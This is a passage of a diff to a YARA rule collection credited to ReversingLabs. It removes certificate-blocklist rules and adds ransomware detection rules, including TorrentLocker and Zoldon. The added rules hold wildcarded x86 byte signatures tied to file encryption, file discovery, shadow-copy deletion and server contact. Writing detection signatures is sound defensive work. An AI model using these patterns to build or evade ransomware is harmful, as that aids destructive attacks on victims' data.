?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 + 8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 51 50 8D + 95 ?? ?? ?? ?? 52 56 FF D7 85 C0 0F 84 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 0F 84 ?? ?? ?? + ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 77 ?? 81 BD ?? + ?? ?? ?? ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 11 9D ?? ?? ?? ?? 8B 9D + ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 33 D2 52 52 52 33 C9 51 50 + FF 15 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B C6 8D + } + $encrypt_files_p3 = { + 48 ?? 8B FF 66 8B 10 83 C0 ?? 66 85 D2 75 ?? 2B C1 6A ?? D1 F8 8D 8D ?? ?? ?? ?? 51 + 8D 14 00 8B 83 ?? ?? ?? ?? 52 56 50 FF D7 8B 93 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? + 51 6A ?? 68 ?? ?? ?? ?? 52 FF D7 8B 93 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? + 8D 4D ?? 51 52 FF D7 8B 8B ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? + ?? 51 FF D7 8B 8B ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50 + 51 FF D7 8B B5 ?? ?? ?? ?? 6A ?? 33 C9 51 51 B8 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? + 85 C0 74 ?? 33 DB EB ?? 83 85 ?? ?? ?? ?? ?? 11 9D ?? ?? ?? ?? 53 8D 95 ?? ?? ?? ?? + 52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? + ?? 8B 9D ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 51 52 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 95 + ?? ?? ?? ?? 83 C4 ?? 52 FF 15 ?? ?? ?? ?? 33 C9 51 51 33 C0 51 50 8B 83 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 56 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 94 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B + 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 + } + $delete_volumes_snapshots_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 6A ?? 33 FF 57 57 89 + 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? FF D6 57 68 ?? + ?? ?? ?? FF D6 57 68 ?? ?? ?? ?? FF D6 57 68 ?? ?? ?? ?? FF D6 57 68 ?? ?? ?? ?? FF + D6 57 57 8D 8D ?? ?? ?? ?? 51 57 89 BD ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? + 6A ?? 57 57 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F + 84 ?? ?? ?? ?? 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? + ?? ?? 89 A5 ?? ?? ?? ?? C6 06 ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 33 FF 89 7D ?? 83 78 ?? ?? 72 ?? 8B 00 8D 50 ?? 8D 9B ?? ?? ?? ?? 8A 08 40 84 + C9 75 ?? 2B C2 57 8D 95 ?? ?? ?? ?? 52 50 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ?? + ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 A5 ?? ?? ?? ?? 88 0E E8 ?? ?? ?? ?? 8D B5 ?? ?? + ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 ?? 8B 00 50 53 FF 15 ?? ?? + ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? + ?? ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 53 FF + 15 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B C7 8B FF 66 8B 10 66 3B 11 75 ?? + 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 + } + $delete_volumes_snapshots_p2 = { + EB ?? 1B C0 83 D8 ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 85 + ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? EB ?? 8D 64 24 ?? 8B BD ?? ?? ?? ?? BA ?? ?? ?? ?? 8B + CE D3 E2 85 95 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 4E ?? 66 89 8D ?? ?? ?? ?? 33 C9 6A + ?? 51 8D 95 ?? ?? ?? ?? 52 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? + 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 9F ?? + ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 + C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 83 EC ?? B8 ?? ?? ?? ?? 8B CC 89 A5 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? + ?? ?? 83 78 ?? ?? 72 ?? 8B 00 8D 50 ?? 8D A4 24 ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 33 + FF 57 8D 8D ?? ?? ?? ?? 51 2B C2 50 83 EC ?? B8 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 + ?? 8B 00 50 53 FF 15 ?? ?? ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? + ?? ?? ?? 83 C4 ?? BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 89 B5 ?? + ?? ?? ?? 89 BD ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 53 89 B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 8B B5 ?? ?? ?? ?? 46 89 B5 ?? ?? ?? ?? 83 FE ?? 0F 8C ?? ?? ?? ?? EB ?? 57 + 8D 9F ?? ?? ?? ?? E8 ?? ?? ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B + 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Technical and Commercial Consulting Pvt. Ltd." and pe.signatures [ i ] . serial == "4b:f1:d6:8e:92:6e:2d:d8:96:60:08:c4:4f:95:ea:1c" and 1322092799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $delete_volumes_snapshots_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_149C12083C145E28155510Cfc19Db0Fe : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Torrentlocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects TorrentLocker ransomware." author = "ReversingLabs" - id = "8d9b0b1c-df7c-560a-8d51-bc8738952457" - date = "2020-08-05" - modified = "2023-11-08" + id = "64bdb0db-ea0c-5a0d-9d3e-db1df86c132b" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2898-L2914" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.TorrentLocker.yara#L1-L98" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f616fc470e223d65ac4c984394a38d566265ab37829ff566012de0a1527396c2" + logic_hash = "f1aa523fa95e142b7e421286d26918e3da4bd3e268fef3f98f00820296291bfc" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "TorrentLocker" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "3rd Eye Solutions Ltd" and pe.signatures [ i ] . serial == "14:9c:12:08:3c:14:5e:28:15:55:10:cf:c1:9d:b0:fe" and 1209340799 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_77E0117E8B2B8Faa84Bed961019D5Ef8 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "2733cc5b-bc1f-5ba9-a2f4-50f472fc288e" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2916-L2932" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bea94b9da8c176f22a66fe7a4545dcc3a38f727a75a0bc7920d9aece8e24b9b7" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $tlocker_ep = { + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 05 E8 ?? ?? ?? ?? 33 C0 C3 + } + $tlocker_contact_server_1 = { + 55 8B EC 83 EC ?? 8D 45 ?? 50 8D 4D ?? 51 B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 21 83 7D + ?? ?? 8B 45 ?? 75 05 8B 10 89 55 ?? 85 C0 74 0F 50 A1 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 53 56 57 8D 9B ?? ?? ?? ?? + 8B 4D ?? 8D 55 ?? 52 6A ?? BB ?? ?? ?? ?? 89 4D ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 75 ?? 85 F6 0F 84 2C 01 00 00 8B BE + ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 EB 00 00 00 6A ?? 68 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 89 00 00 00 8D 45 ?? 50 8D + 4D ?? 51 6A ?? 56 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 16 81 4D ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 6A ?? 56 FF + 15 ?? ?? ?? ?? 8B 45 ?? 57 50 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 38 6A ?? 8D 4D ?? 51 8D 55 ?? 52 68 ?? ?? ?? ?? + 56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 10 81 7D ?? ?? ?? ?? ?? 75 07 C7 45 ?? ?? ?? ?? + ?? 8B 3D ?? ?? ?? ?? 56 FF D7 EB 06 8B 3D ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? 53 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 53 8B F0 FF D7 85 F6 74 06 8B 55 ?? 52 FF D7 8B 75 ?? 8B 0D ?? ?? ?? ?? 33 C0 83 7D ?? ?? 56 + 0F 94 C0 6A ?? 51 8B F8 FF 15 ?? ?? ?? ?? 85 FF 75 10 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 9E FE FF FF 5F 5E 5B 8B E5 5D + C3 + } + $tlocker_contact_server_2_1 = { + 55 8B EC 83 EC ?? 8D 45 ?? 50 8D 4D ?? 51 B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 21 83 7D + ?? ?? 8B 45 ?? 75 05 8B 10 89 55 ?? 85 C0 74 0F 50 A1 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 53 56 57 8D 9B ?? ?? ?? ?? + 8B 4D ?? 8D 55 ?? 52 6A ?? BF ?? ?? ?? ?? 89 4D ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 75 ?? 85 F6 0F 84 E5 01 00 00 BF ?? + ?? ?? ?? 39 3D ?? ?? ?? ?? 74 11 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B + 9E ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 EB 00 00 00 6A ?? 68 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 89 00 00 00 8D 45 ?? 50 + 8D 4D ?? 51 6A ?? 56 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 16 81 4D ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 6A ?? 56 + FF 15 ?? ?? ?? ?? 8B 45 ?? 53 50 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 38 6A ?? 8D 4D ?? 51 8D 55 ?? 52 68 ?? ?? ?? + ?? 56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 10 81 7D ?? ?? ?? ?? ?? 75 07 C7 45 ?? ?? ?? + ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 EB 06 8B 35 ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? 57 C7 45 ?? ?? ?? ?? ?? C7 45 ?? + } + $tlocker_contact_server_2_2 = { + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 57 8B D8 FF D6 85 DB 74 06 8B 55 ?? 52 FF D6 8B 75 ?? 33 C0 83 7D ?? ?? 0F 94 C0 8B F8 85 + FF 74 18 8B 0D ?? ?? ?? ?? 89 0D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? EB 5E 8B 15 ?? ?? ?? ?? 3B 15 ?? ?? ?? ?? 75 + 34 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B D1 41 89 0D ?? ?? ?? ?? 85 D2 7E 71 8B 0D ?? ?? ?? ?? 3B C1 73 08 8B C8 89 0D + ?? ?? ?? ?? 2B C1 3D ?? ?? ?? ?? 72 1C A1 ?? ?? ?? ?? 40 83 F8 ?? 7E 05 A1 ?? ?? ?? ?? 8B C8 A3 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 81 3D ?? ?? ?? ?? ?? ?? ?? ?? 75 0B 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 56 6A ?? 50 FF 15 ?? ?? ?? ?? 85 + FF 75 17 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 E5 FD FF FF A3 ?? ?? ?? ?? EB BF 5F 5E 5B 8B E5 5D C3 + } + $tlocker_get_server_data = { + 55 8B EC 83 EC ?? 56 57 33 FF 57 57 8D 45 ?? 50 53 33 F6 FF 15 ?? ?? ?? ?? 85 C0 74 77 8D 49 ?? 8B 4D ?? 03 CF 85 F6 75 + 73 33 C0 85 C9 74 0F 8B 15 ?? ?? ?? ?? 51 50 52 FF 15 ?? ?? ?? ?? 33 C9 85 C0 0F 95 C1 8B F0 8B C1 85 C0 74 33 8B 55 ?? + 8D 4D ?? 51 52 8D 04 37 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 1C 8B 45 ?? 85 C0 74 ?? 6A ?? 6A ?? 8D 4D ?? 51 53 03 F8 FF 15 + ?? ?? ?? ?? 85 C0 75 A0 85 F6 74 10 8B 0D ?? ?? ?? ?? 56 6A ?? 51 FF 15 ?? ?? ?? ?? 5F 33 C0 5E 8B E5 5D C3 + } + $tlocker_remove_shadow_copies = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? A1 ?? ?? ?? ?? 53 57 6A ?? 33 FF 57 50 FF 15 ?? ?? ?? ?? 8B D8 + 3B DF 0F 84 DC 00 00 00 56 8D B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 0A C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 5E B8 ?? ?? ?? ?? 8B D3 2B D0 0F B7 08 66 89 0C + 02 83 C0 ?? 66 3B CF 75 F1 6A ?? 8D 95 ?? ?? ?? ?? 57 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? + 51 8D 95 ?? ?? ?? ?? 52 57 68 ?? ?? ?? ?? 57 57 57 53 57 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 0F FF + 15 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8B F8 83 BD ?? ?? ?? ?? ?? 74 0B 8B B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 + 6A ?? 50 FF 15 ?? ?? ?? ?? 5E 8B C7 5F 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 4D ?? 5F 33 CD B8 ?? ?? ?? ?? 5B + E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $tlocker_find_files = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 0D ?? ?? ?? ?? 8B 45 ?? 53 56 57 68 ?? ?? ?? ?? 33 F6 56 51 + 89 85 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 AD 01 00 00 53 56 56 6A ?? 56 FF 15 ?? ?? ?? ?? + 85 C0 0F 88 89 01 00 00 68 ?? ?? ?? ?? 53 53 FF 15 ?? ?? ?? ?? 8B C3 8D 50 ?? 8D 9B ?? ?? ?? ?? 66 8B 08 83 C0 ?? 66 85 + C9 75 F5 2B C2 D1 F8 8B F8 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 4D 01 00 00 8D 95 ?? ?? ?? ?? 52 50 FF 15 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 15 01 00 00 F6 85 ?? ?? ?? ?? ?? 0F 84 EC 00 00 00 B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 + 83 D8 ?? 85 C0 0F 84 AE 00 00 00 B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 + 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 74 74 8D 85 ?? ?? ?? ?? 8D 50 ?? 8B FF + 66 8B 08 83 C0 ?? 66 85 C9 75 F5 2B C2 D1 F8 03 C7 8D 44 00 ?? 85 C0 74 6C 50 A1 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? + 8B F0 85 F6 74 57 53 8D 4F ?? 51 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 56 56 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 0A C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 52 FF + 15 ?? ?? ?? ?? 85 C0 0F 85 EB FE FF FF 8B 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 50 6A ?? 51 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? + ?? 8B 15 ?? ?? ?? ?? 53 6A ?? 52 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 8B C6 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Reiner Wodey Informationssysteme" and pe.signatures [ i ] . serial == "77:e0:11:7e:8b:2b:8f:aa:84:be:d9:61:01:9d:5e:f8" and 1383695999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $tlocker_ep and $tlocker_get_server_data and $tlocker_remove_shadow_copies and $tlocker_find_files ) and ( $tlocker_contact_server_1 or ( $tlocker_contact_server_2_1 and $tlocker_contact_server_2_2 ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_4F3Feb4Baf377Aea90A463C5Dee63884 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Zoldon : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Zoldon ransomware." author = "ReversingLabs" - id = "8de9bcf3-d705-590f-8898-52218f937571" - date = "2020-08-05" - modified = "2023-11-08" + id = "5d28e6f0-9d6b-54f4-81ed-aadb58352c80" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2934-L2950" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Zoldon.yara#L1-L107" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "56c37e758db33aa40e9a2c1c5a4eb14c2c370f614e838d86bf20c64f79e2a746" + logic_hash = "4821b8506e7ba00987978f2744da1c532e03d73f3275cb15e39cdf87f6018223" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Zoldon" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "F3D LIMITED" and pe.signatures [ i ] . serial == "4f:3f:eb:4b:af:37:7a:ea:90:a4:63:c5:de:e6:38:84" and 1526601599 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_3D2580E89526F7852B570654Efd9A8Bf : INFO FILE -{ - meta: - description = "Certificate used for digitally signing LockerGoga ransomware." - author = "ReversingLabs" - id = "0514759c-2d10-5b29-aa2f-d16eb45b2816" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2952-L2968" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0f46fcfc8ee06756646899450daa254d3e5261bdc5c2339f20d01971608fff7b" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $main_encrypt_function_p1 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? + ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 55 ?? 89 45 ?? + 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 + 64 89 20 E8 ?? ?? ?? ?? DD 5D ?? 9B 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? FF 75 ?? FF + 75 ?? 8D 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? B2 ?? + A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B1 ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? + 3C ?? 0F 85 ?? ?? ?? ?? B0 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? + 84 C0 0F 85 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? C6 + 80 ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 66 C7 45 + } + $main_encrypt_function_p2 = { + 8D 85 ?? ?? ?? ?? 66 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 